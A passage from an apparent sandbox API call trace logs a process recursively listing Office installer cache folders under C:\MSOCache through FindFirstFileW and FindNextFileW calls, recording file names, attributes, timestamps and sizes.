ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.127] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.127] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0054.127] GetProcessHeap () returned 0x730000 [0054.127] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb2890 [0054.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754eb8 [0054.128] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0054.128] FindClose (in: hFindFile=0x754eb8 | out: hFindFile=0x754eb8) returned 1 [0054.128] GetProcessHeap () returned 0x730000 [0054.128] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb2890 | out: hHeap=0x730000) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0054.128] GetProcessHeap () returned 0x730000 [0054.128] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb2890 [0054.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754eb8 [0054.128] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0054.128] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0054.129] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0054.129] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0054.129] FindClose (in: hFindFile=0x754eb8 | out: hFindFile=0x754eb8) returned 1 [0054.129] GetProcessHeap () returned 0x730000 [0054.129] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb2890 | out: hHeap=0x730000) returned 1 [0054.129] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0054.129] GetProcessHeap () returned 0x730000 [0054.129] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb2890 [0054.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754eb8 [0054.129] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.129] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0054.129] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0054.129] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0054.129] FindNextFileW (in: hFindFile=0x754eb8, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0054.129] FindClose (in: hFindFile=0x754eb8 | out: hFindFile=0x754eb8) returned 1 [0054.130] GetProcessHeap () returned 0x730000 [0054.130] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb2890 | out: hHeap=0x730000) returned 1 [0054.130] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0054.130] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0054.130] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.130] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.130] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.130] GetProcessHeap () returned 0x730000 [0054.130] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.130] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0054.130] GetProcessHeap () returned 0x730000 [0054.130] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.131] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.131] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0054.131] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0054.132] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0054.132] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.132] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.132] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.133] GetProcessHeap () returned 0x730000 [0054.133] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.133] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0054.133] GetProcessHeap () returned 0x730000 [0054.133] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0054.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.134] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.134] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0054.134] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0054.134] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0054.134] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.134] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.135] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.135] GetProcessHeap () returned 0x730000 [0054.135] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.136] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 